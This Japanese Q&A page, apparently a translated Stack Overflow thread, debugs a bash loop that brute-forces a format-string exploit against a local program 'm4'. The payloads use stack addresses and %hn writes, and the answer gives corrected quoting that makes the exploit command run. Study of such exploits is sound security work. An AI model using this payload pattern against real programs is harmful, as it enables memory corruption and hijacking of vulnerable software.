0

シェル スクリプトに問題があります。

プログラム m4 を別の種類の文字列で実行したいので、次のスクリプトを書き留めました。

#!/bin/bash

for number in $( seq 16 253 )
  do
    num=$((number+2))
    hex_base=$( printf "%X" ${number} )
    hex_offset=$( printf "%X" ${num} )
    ./m4 "`python -c 'print "\x66\x66\x${hex_offset}\xed\xff\xbf\x${hex_base}\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
done

10 から FD まで 16 進数でカウントし、この値を文字列に入れます。次のエラーが表示されます。

ValueError: invalid \x escape

最初の質問: これは本当のエラーですか、それとも単なる警告ですか? 2 番目の質問: アドレスのすべての値が文字列に表示されるはずの 2 文字で構成されているのに、エラーが表示されるのはなぜですか?

4

1 に答える 1

0

一重引用符を外すとうまくいくはずですhex_base

./m4 "`python -c 'print "\x66\x66\x'${hex_offset}'\xed\xff\xbf\x'${hex_base}'\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
于 2014-05-10T12:36:31.440 に答える